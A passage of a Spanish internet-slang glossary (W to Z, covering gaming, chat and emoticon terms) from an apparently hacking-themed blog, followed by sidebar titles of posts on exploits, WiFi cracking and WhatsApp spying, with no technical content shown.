WERS:Cuando parece estupido
WIP: Acrónimo de Web Important Person (Persona importante en la red). Acrónimo de Work In Progress (Trabajo en proceso).
WTF: Acrónimo de What The Fuck. Exclamación malsonante cuando algo nos sorprende, equivalente al castizo "¿¡Pero qué carajo/mierda!?", "¿¡Pero qué cojones/coño!?".
WTFS: Acrónimo de What The Fucking Shit (¿¡Qué Jodida Mierda!?). Exclamación vulgar o soez cuando algo es pelutudo. Dependiendo de la circunstancia en la que sea utilizada, puede ser o una Interrogación o una Exclamación. En español significa: "¿Qué chucha/mierda/coño es esto?"
WTFPWN: gde vencer a otro jugador de una manera aplastante, contundente.
WTH: Acrónimo de What The Hell. Derivado de "WTF", equivalente a "¡¿Que demonios?!".
WS: Acrónimo inglés de las palabras Wall Shooting, haciendo referencia a cuando en juegos MMORPG se ataca a través de muros. Siendo esto un fallo posible de texturas y/o Geodata.
WTB: Acrónimo inglés de "Want To Buy", la traducción literaria seria "quiero comprar", usada en chats de MMORPG para comprar.
WTS: Acrónimo inglés de "Want To Sell", la traducción literaria seria "quiero vender", usada en chats de MMORPG para vender.
WTT: Acrónimo inglés de "Want To Trade", la traducción literaria seria "quiero cambiar", usada en chats de MMORPG para cambiar.
WTD: Acrónimo inglés de "Want to do", la traducción literaria seria "quiero hacer", usada en MMORPGs, como Voyage Century, para hacer, por ejemplo, una instance.
WASD: Letras que corresponden a las flechas direccionales utilizadas en muchos juegos en internet (W = arriba, A = izquierda, S = abajo, D = derecha) utilizadas por su comodidad para la mayoría de usuarios, que prefieren manipular las flechas direccionales con la mano izquierda.
W8: Acrónimo de "wait", que en español significa "Espera".
WOW: Abreviación del juego en linea World of Warcraft.
WN: Abreviacion de Weón (Huevón), usado mayoritariamente en países como Chile, Perú, Venezuela etc.
WYGOWM?: Acrónimo de Would You Go Out With Me?. (¿Quieres salir conmigo?).
WYSIWYG: Acrónimo de What you see is what you get. Usado para describir software o diseños que se ven igual en la pantalla como en un medio impreso.
WOF: Acrónimo de Wait or fuck. Usado que si alguien no espera que se vaya a la mierda.

X

XVR: Acrónimo de "chévere" en el lenguaje castellano ( Latinoamérica) coloquial.
x3: emoticono que se usa para simular la reaccion positiva de alguien al ver algo tierno o lindo.
xD,XD: A pesar de parecer un acrónimo, es un emoticono. Es una pequeña cara cuyos ojos forman una X y su boca una D. Se suele utilizar para expresar risa (PD: No confundir con "por Dios", esta expresión se escribe en minusculas la x (por) y en mayuscula la d (Dios), es decir xD).
XOXO: Besos y abrazos.
xP: Variación de "xD", sacar la lengua pero no en modo de burla, signo de complicidad, también se suele poner como ";P"
Xploit: Un programa cuyo objetivo es aprovecharse de la vulnerabilidad de otro programa "explotando" esta, de forma que se consiga un resultado no esperado por el programa victima, normalmente ejecución de código remoto.

Y

YARLY: (Ya really) Utilizado para contestar a la expresion "Orly?" en español significa "Si, de verdad"
YO: Utilizado por igleses, significa Whats Up en español ¿Que Pasa?
YHBT: You Have Been Trolled, viene a ser "te han tomado el pelo".
YW: You are welcome. Se utiliza al recibir un agradecimiento. Literalmente "Eres bienvenido". En español "De nada".
YNHM: "Ya No Hablaremos Más" utilizado al momento de terminar una relación.
YVJ: "Ya Vio Joven" termino utilizado para enunciar una vision
YT: Acrónimo usado para el nombre dado a la página de Internet YouTube

Z

ZOMG: Es una variantes del OMG, viene a significar lo mismo, la diferencia es que como el OMG se escribe siempre en mayúsculas pues la gente se confudía al pinchar el shift con el dedo y pulsaba la "z", entonces quedaba "zomg", y poco a poco se convirtió en algo igual de usado que el típico OMG, aunque en algunos juegos de terror ZOMG significa Zombie Oh My god. También se tiene la variante ZOMFG, que viene de la misma idea de pulsar Shift para escribir OMFG (Oh my fucking God!).

Referencias

↑ CCN-CERT - Guía de seguridad de las TIC: Defacement

~~Mrobles~~

15 trucos .htaccess para webmasters

Mod Fuente alimentacion

Cualquiera puede ver tu foto de perfil en Whatsapp

¿Cómo y por qué funciona WhatsappVoyeur?

Conclusión

¿Qué hacer cuando se moja un Portátil?

Qué hacer cuando se moja un Portátil

¿Qué hacer cuando se moja un Portátil?

Si aún no derramas liquido en tu portátil pero te gustaría saber que hacer en estos casos, aun estas a tiempo de:

Exploiting New Java 0-day with Metasploit

Como librarte de un Troyano

Cómo convertirse en hacker

Cómo convertirse en hacker

Rompiendo a lo grande: XSS avanzado

Vulnerabilidad Crítica en WordPress en popular plugin "W3 Total Cache"

No te fíes de un extraño ni aunque lo veas por la webcam

Personalizando El Prompt en Windows 7

Europa entierra ACTA

Polémico tratado

Sacar contraseña wifi 1 segundo

Hackear Wifi Beini VirtualBox Video Tutorial

Whatsapp XSS Headers [USER-AGENT]

Creando un cluster casero para cracking [Linux]

Objetivos:

Crackeando diferentes cifrados

Un "pequeño" relato (XIII)

EPILOGO

Un "pequeño" relato (XII)

Espía WhatsApp

Un "pequeño" relato (XI)

Un ataque DoS tumba la web del Senado el día de su estreno

NIC.GP Hacked, Dominios de Guadalupe expuestos

Como registrarse a una página sin dar tu "email"

Un "pequeño" relato (X)

Apéndice:Jerga de Internet

A

B

C

D

E

F

G

H

I

J

K

L

M

N

O

P

S

T

U

V

W

X

Y

Z

Referencias

Mrobles